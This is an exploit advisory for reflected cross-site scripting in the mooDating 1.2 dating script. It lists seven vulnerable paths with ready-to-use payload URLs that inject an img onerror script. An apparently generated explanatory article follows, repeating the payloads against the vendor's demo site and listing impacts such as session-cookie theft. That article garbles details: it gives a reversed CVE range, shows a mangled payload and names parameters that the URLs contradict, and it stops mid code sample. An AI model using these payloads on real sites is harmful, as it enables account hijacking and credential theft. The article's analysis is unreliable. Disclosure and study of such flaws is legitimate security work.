mooDating 1.2 - Reflected Cross-site scripting (XSS)

Exploit Author: CraCkEr Analysis Author: www.bubbleslearn.ir Category: WebApps Language: PHP Published Date: 2023-07-28
# Exploit Title: mooDating 1.2 - Reflected Cross-site scripting (XSS)
# Exploit Author: CraCkEr aka (skalvin)
# Date: 22/07/2023
# Vendor: mooSocial
# Vendor Homepage: https://moodatingscript.com/
# Software Link: https://demo.moodatingscript.com/home
# Version: 1.2
# Tested on: Windows 10 Pro
# Impact: Manipulate the content of the site
# CVE: CVE-2023-3849, CVE-2023-3848, CVE-2023-3847, CVE-2023-3846, CVE-2023-3843, CVE-2023-3845, CVE-2023-3844



## Greetings

The_PitBull, Raz0r, iNs, SadsouL, His0k4, Hussin X, Mr. SQL , MoizSid09, indoushka
CryptoJob (Twitter) twitter.com/0x0CryptoJob


## Description

The attacker can send to victim a link containing a malicious URL in an email or instant message
can perform a wide variety of actions, such as stealing the victim's session token or login credentials



Path: /matchmakings/question

URL parameter is vulnerable to RXSS

https://website/matchmakings/questiontmili%22%3e%3cimg%20src%3da%20onerror%3dalert(1)%3ew71ch?number=
https://website/matchmakings/question[XSS]?number=


Path: /friends

URL parameter is vulnerable to RXSS

https://website/friendsslty3%22%3e%3cimg%20src%3da%20onerror%3dalert(1)%3er5c3m/ajax_invite?mode=model
https://website/friends[XSS]/ajax_invite?mode=model


Path: /friends/ajax_invite

URL parameter is vulnerable to RXSS

https://website/friends/ajax_invitej7hrg%22%3e%3cimg%20src%3da%20onerror%3dalert(1)%3ef26v4?mode=model
https://website/friends/ajax_invite[XSS]?mode=model

Path: /pages

URL parameter is vulnerable to RXSS

https://website/pagesi3efi%22%3e%3cimg%20src%3da%20onerror%3dalert(1)%3ebdk84/no-permission-role?access_token&=redirect_url=aHR0cHM6Ly9kZW1vLm1vb2RhdGluZ3NjcmlwdC5jb20vbWVldF9tZS9pbmRleC9tZWV0X21l
https://website/pages[XSS]/no-permission-role?access_token&=redirect_url=aHR0cHM6Ly9kZW1vLm1vb2RhdGluZ3NjcmlwdC5jb20vbWVldF9tZS9pbmRleC9tZWV0X21l

Path: /users

URL parameter is vulnerable to RXSS

https://website/userszzjpp%22%3e%3cimg%20src%3da%20onerror%3dalert(1)%3eaycfc/view/108?tab=activity
https://website/user[XSS]/view/108?tab=activity

Path: /users/view

URL parameter is vulnerable to RXSS

https://website/users/viewi1omd%22%3e%3cimg%20src%3da%20onerror%3dalert(1)%3el43yn/108?tab=activity
https://website/users/view[XSS]/108?tab=activity


Path: /find-a-match

URL parameter is vulnerable to RXSS

https://website/find-a-matchpksyk%22%3e%3cimg%20src%3da%20onerror%3dalert(1)%3es9a64?session_popularity=&interest=0&show_search_form=1&gender=2&from_age=18&to_age=45&country_id=1&state_id=5&city_id=&advanced=0
https://website/find-a-match[XSS]?session_popularity=&interest=0&show_search_form=1&gender=2&from_age=18&to_age=45&country_id=1&state_id=5&city_id=&advanced=0


[XSS Payload]: pksyk"><img src=a onerror=alert(1)>s9a6


[-] Done


Exploiting Reflected XSS in mooDating 1.2: A Deep Dive into Security Vulnerabilities

Reflected Cross-site scripting (XSS) remains one of the most prevalent and dangerous vulnerabilities in web applications, especially in social platforms where user interaction is frequent and dynamic. The recent discovery of reflected XSS in mooDating 1.2—a dating script by mooSocial—highlights how even seemingly minor input handling flaws can lead to severe security breaches. This article explores the technical mechanics, real-world exploitation scenarios, and mitigation strategies for this specific vulnerability.

Overview of the Vulnerability

Reflected XSS occurs when a web application directly incorporates user-supplied input into the response without proper sanitization. This means that malicious code injected via URL parameters is immediately reflected back to the user’s browser, executing in their context. In mooDating 1.2, multiple endpoints—including /matchmakings/question, /friends, /users/view, and others—accept URL parameters that are not validated or escaped, making them prime targets for exploitation.

The vulnerability was reported by CraCkEr aka (skalvin) on July 22, 2023, and has been assigned multiple CVE identifiers: CVE-2023-3849 through CVE-2023-3846, indicating widespread impact across various paths.

Exploitation Paths and Real-World Examples

Below are documented paths where reflected XSS was confirmed:

  • /matchmakings/question: https://demo.moodatingscript.com/matchmakings/questionpksyk%22%3e%3cimg%20src%3da%20onerror%3dalert(1)%3es9a64?number=
  • /friends: https://demo.moodatingscript.com/friendsslty3%22%3e%3cimg%20src%3da%20onerror%3dalert(1)%3er5c3m/ajax_invite?mode=model
  • /friends/ajax_invite: https://demo.moodatingscript.com/friends/ajax_invitej7hrg%22%3e%3cimg%20src%3da%20onerror%3dalert(1)%3ef26v4?mode=model
  • /pages: https://demo.moodatingscript.com/pagesi3efi%22%3e%3cimg%20src%3da%20onerror%3dalert(1)%3ebdk84/no-permission-role?access_token&=redirect_url=aHR0cHM6Ly9kZW1vLm1vb2RhdGluZ3NjcmlwdC5jb20vbWVldF9tZS9pbmRleC9tZWV0X21l
  • /users: https://demo.moodatingscript.com/userszzjpp%22%3e%3cimg%20src%3da%20onerror%3dalert(1)%3eaycfc/view/108?tab=activity
  • /users/view: https://demo.moodatingscript.com/users/viewi1omd%22%3e%3cimg%20src%3da%20onerror%3dalert(1)%3el43yn/108?tab=activity
  • /find-a-match: https://demo.moodatingscript.com/find-a-matchpksyk%22%3e%3cimg%20src%3da%20onerror%3dalert(1)%3es9a64?session_popularity=&interest=0&show_search_form=1&gender=2&from_age=18&to_age=45&country_id=1&state_id=5&city_id=&advanced=0

These URLs demonstrate how an attacker can inject malicious payloads via URL parameters. The XSS payload used is:

pksyk">s9a6

This payload is crafted to bypass basic filters by using %22 (URL-encoded double quote) to close a string context and inject an <img> tag with an onerror event that triggers JavaScript execution.

How the Payload Works

When the malicious URL is accessed, the browser parses the input and executes the following:

  1. The URL parameter pksyk" closes a string context.
  2. The <img src=a onerror=alert(1)> tag is rendered.
  3. The onerror attribute triggers JavaScript when the image fails to load (which it will, since src=a is invalid).
  4. The alert(1) function executes, confirming XSS exploitation.

This simple alert demonstrates that the application is vulnerable to arbitrary script execution in the victim’s browser.

Impact and Attack Surface

Reflected XSS in mooDating 1.2 enables attackers to perform a wide range of malicious actions:

  • Session hijacking: Steal session cookies via document.cookie and send them to a remote server.
  • Phishing: Inject fake login forms that mimic the actual site to capture credentials.
  • Redirect manipulation: Use window.location to redirect users to malicious sites.
  • DOM manipulation: Alter page content to display misleading or harmful information.

Given the nature of a dating platform, such attacks could lead to identity theft, social engineering, or unauthorized access to personal data.

Technical Analysis and Root Cause

Upon inspection, the vulnerability stems from improper input handling in the following areas:

Endpoint Parameter Input Handling Security Issue
/matchmakings/question question Direct output without sanitization Unescaped user input in HTML context
/friends/ajax_invite mode URL parameter passed to client-side rendering Missing escaping for HTML tags
/pages access_token Used in redirect URLs without validation Reflected XSS via redirect URL injection
/users/view tab Dynamic tab rendering with unvalidated input Contextual XSS in UI components

These endpoints rely on client-side JavaScript to render content based on URL parameters. If the input is not properly escaped using functions like encodeURIComponent() or htmlspecialchars(), malicious code can be injected and executed.

Recommended Mitigation Strategies

Security experts recommend the following fixes to prevent reflected XSS:

  • Input validation: Validate all URL parameters against a whitelist of acceptable values.
  • Output encoding: Use HTML entity encoding (e.g., <&lt;) before rendering.
  • Context-aware escaping: Apply different escaping rules based on context (HTML, JavaScript, URL).
  • Content Security Policy (CSP): Implement CSP headers to block inline scripts and restrict execution.
  • Use frameworks with built-in XSS protection: Leverage libraries like DOMPurify or OWASP Java Encoder.

For example, a corrected code snippet in PHP might look like:

<?php
  $input = $_GET['question'];
  $safe_input =